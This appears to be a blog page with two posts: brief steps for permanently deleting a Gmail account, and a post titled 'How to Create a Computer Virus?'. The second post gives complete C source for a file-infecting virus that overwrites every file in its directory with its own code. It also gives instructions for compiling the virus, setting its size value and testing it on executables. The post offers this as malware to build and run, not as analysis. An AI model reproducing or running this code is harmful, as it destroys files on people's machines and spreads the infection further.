Saturday, May 28

Delete Gmail Account Permanently


To delete Gmail account permanently all you need to know the right place and method. Here is the method through which you can delete your Gmail account permanently.

Steps To Delete Gmail Account Permanently

  • When you get the settings page, click on “Accounts and Import” tab.
  • Once the “Accounts and Import” tab opens in front of you, click on “Google AccountSettings” at the bottom. A new window will open showing the “Google Account Settings“.
  • Once the new window opens, Click on “Edit” which you will find just next to “My Products”.
  • On this edit page you will get Two major options. One to delete a product and another for Delete Account. Choose the link below “Delete Account” saying  ”Close account and delete all services and info associated with it“.
(The number of sub-options will depend on the browser which you would be using for this purpose. We used Chrome for it.)
  • As soon as you click the link you will be asked to choose the specific products which you wish to delete. Select those products which you wish to delete along with Gmail.
  • Fill in your current password, check the last two options and click on “Delete Gmail Account” button.
That’s it, you are done with the process of deleting your Gmail account permanently.

Sunday, May 15

How to Create a Computer Virus?

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.


#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}


COMPILING METHOD:

 
USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
 
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
 

HOW TO TEST:

 
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it